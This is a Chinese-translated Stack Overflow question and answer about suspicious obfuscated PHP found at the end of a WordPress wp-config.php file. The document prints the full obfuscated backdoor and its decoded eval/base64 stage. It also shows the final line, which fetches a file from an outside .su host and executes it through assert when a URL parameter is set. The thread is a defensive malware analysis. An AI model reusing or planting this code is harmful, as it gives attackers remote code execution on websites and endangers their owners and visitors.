wp config.php文件中的可疑代码[重复]答案

【问题标题】：Suspicious code inside wp_config.php file [duplicate]wp config.php文件中的可疑代码[重复]
【发布时间】：2016-10-10 19:24:00
【问题描述】：

我猜我的页面被黑了，因为在我的 wp_config.php 文件中，我在最后一个通道找到了这段代码。

$Xbk = "uQoCwSNBIpmVRP14XjL56=AWfl.DFrv03tx;Ez*bnaHKdyc(UsMi+qgk87'9eZYT_/)OG2hJ";$vDE = $Xbk[41].$Xbk[49].$Xbk[49].$Xbk[60].$Xbk[29].$Xbk[33];$uQI = $Xbk[60].$Xbk[30].$Xbk[41].$Xbk[25].$Xbk[47].$Xbk[54].$Xbk[37].$Xbk[51].$Xbk[40].$Xbk[24].$Xbk[25].$Xbk[41].$Xbk[33].$Xbk[60].$Xbk[47].$Xbk[39].$Xbk[41].$Xbk[49].$Xbk[60].$Xbk[20].$Xbk[15].$Xbk[64].$Xbk[44].$Xbk[60].$Xbk[46].$Xbk[2].$Xbk[44].$Xbk[60].$Xbk[47];$T4q = $Xbk[66].$Xbk[66].$Xbk[66].$Xbk[35];$R1h = $uQI.$Xbk[58].$Xbk[7].$Xbk[46].$Xbk[28].$Xbk[18].$Xbk[3].$Xbk[2].$Xbk[50].$Xbk[4].$Xbk[36].$Xbk[22].$Xbk[27].$Xbk[1].$Xbk[53].$Xbk[57].$Xbk[1].$Xbk[5].$Xbk[50].$Xbk[6].$Xbk[55].$Xbk[15].$Xbk[31].$Xbk[18].$Xbk[53].$Xbk[1].$Xbk[5].$Xbk[49].$Xbk[28].$Xbk[6].$Xbk[56].$Xbk[1].$Xbk[18].$Xbk[0].$Xbk[5].$Xbk[54].$Xbk[40].$Xbk[68].$Xbk[17].$Xbk[6].$Xbk[52].$Xbk[62].$Xbk[12].$Xbk[68].$Xbk[46].$Xbk[43].$Xbk[25].$Xbk[33].$Xbk[43].$Xbk[57].$Xbk[59].$Xbk[57].$Xbk[69].$Xbk[9].$Xbk[13].$Xbk[56].$Xbk[55].$Xbk[37].$Xbk[29].$Xbk[9].$Xbk[36].$Xbk[65].$Xbk[48].$Xbk[0].$Xbk[17].$Xbk[20].$Xbk[31].$Xbk[63].$Xbk[37].$Xbk[63].$Xbk[31].$Xbk[50].$Xbk[16].$Xbk[31].$Xbk[9].$Xbk[44].$Xbk[12].$Xbk[16].$Xbk[10].$Xbk[42].$Xbk[30].$Xbk[11].$Xbk[63].$Xbk[4].$Xbk[57].$Xbk[14].$Xbk[54].$Xbk[43].$Xbk[45].$Xbk[57].$Xbk[15].$Xbk[7].$Xbk[55].$Xbk[59].$Xbk[55].$Xbk[31].$Xbk[34].$Xbk[68].$Xbk[19].$Xbk[40].$Xbk[54].$Xbk[27].$Xbk[49].$Xbk[50].$Xbk[13].$Xbk[5].$Xbk[55].$Xbk[51].$Xbk[50].$Xbk[57].$Xbk[61].$Xbk[30].$Xbk[5].$Xbk[68].$Xbk[20].$Xbk[31].$Xbk[43].$Xbk[42].$Xbk[59].$Xbk[39].$Xbk[70].$Xbk[0].$Xbk[60].$Xbk[1].$Xbk[19].$Xbk[28].$Xbk[0].$Xbk[50].$Xbk[37].$Xbk[54].$Xbk[50].$Xbk[7].$Xbk[61].$Xbk[54].$Xbk[50].$Xbk[17].$Xbk[15].$Xbk[15].$Xbk[48].$Xbk[23].$Xbk[16].$Xbk[11].$Xbk[36].$Xbk[0].$Xbk[42].$Xbk[67].$Xbk[48].$Xbk[70].$Xbk[70].$Xbk[11].$Xbk[65].$Xbk[30].$Xbk[15].$Xbk[21].$Xbk[58].$T4q;@$vDE($R1h);

我猜这是某种 base64，但如果有人可以帮助我解密，我将不胜感激。

【问题讨论】：

这是一个后门，试图下载并执行一个文件。您应该关闭该网站，记住您的文件和数据库可能已被泄露，因此如果您要重新上传该网站，请获取 wordpress/插件的新文件，确保它们已更新并检查它们是否存在已知漏洞
相关http请求为@file_get_contents("http://dgkaslsdh.su/3ksxdnemq44/8o2j/lep8/b.txt");，但此时主机宕机。

标签： php wordpress security

【解决方案1】：

（来自http://sandbox.onlinephpfunctions.com/code/895dca3aff76c35e4e16b0c5d0a90838eb1054f6）

被执行的代码是：

eval(gzinflate(base64_decode('BcFLCoMwEADQq7QSMNk40LqQSsFN8QLuSgnGjN+YRGcKltK7972pP8kzrpE/Uuj60TzT0MX0pdRXmHvVTw71gKy74Bk9k0xG5ngDsMPSkiM7ZvSG60KH9bhueQ5FuMzgMBZgMj44UWXVEuHOUhhV/v4=')));

用 echo 替换 eval：

echo(gzinflate(base64_decode('BcFLCoMwEADQq7QSMNk40LqQSsFN8QLuSgnGjN+YRGcKltK7972pP8kzrpE/Uuj60TzT0MX0pdRXmHvVTw71gKy74Bk9k0xG5ngDsMPSkiM7ZvSG60KH9bhueQ5FuMzgMBZgMj44UWXVEuHOUhhV/v4=')));

结果是：

if (!empty($_GET['ocp'])){$b=@file_get_contents("http://dgkaslsdh.su/3ksxdnemq44/8o2j/lep8/b.txt");@assert($b);}

所以它尝试下载一个文件并assert 它。不过，如果您尝试从上面的链接获取文件，至少这里的服务器已关闭。

【讨论】：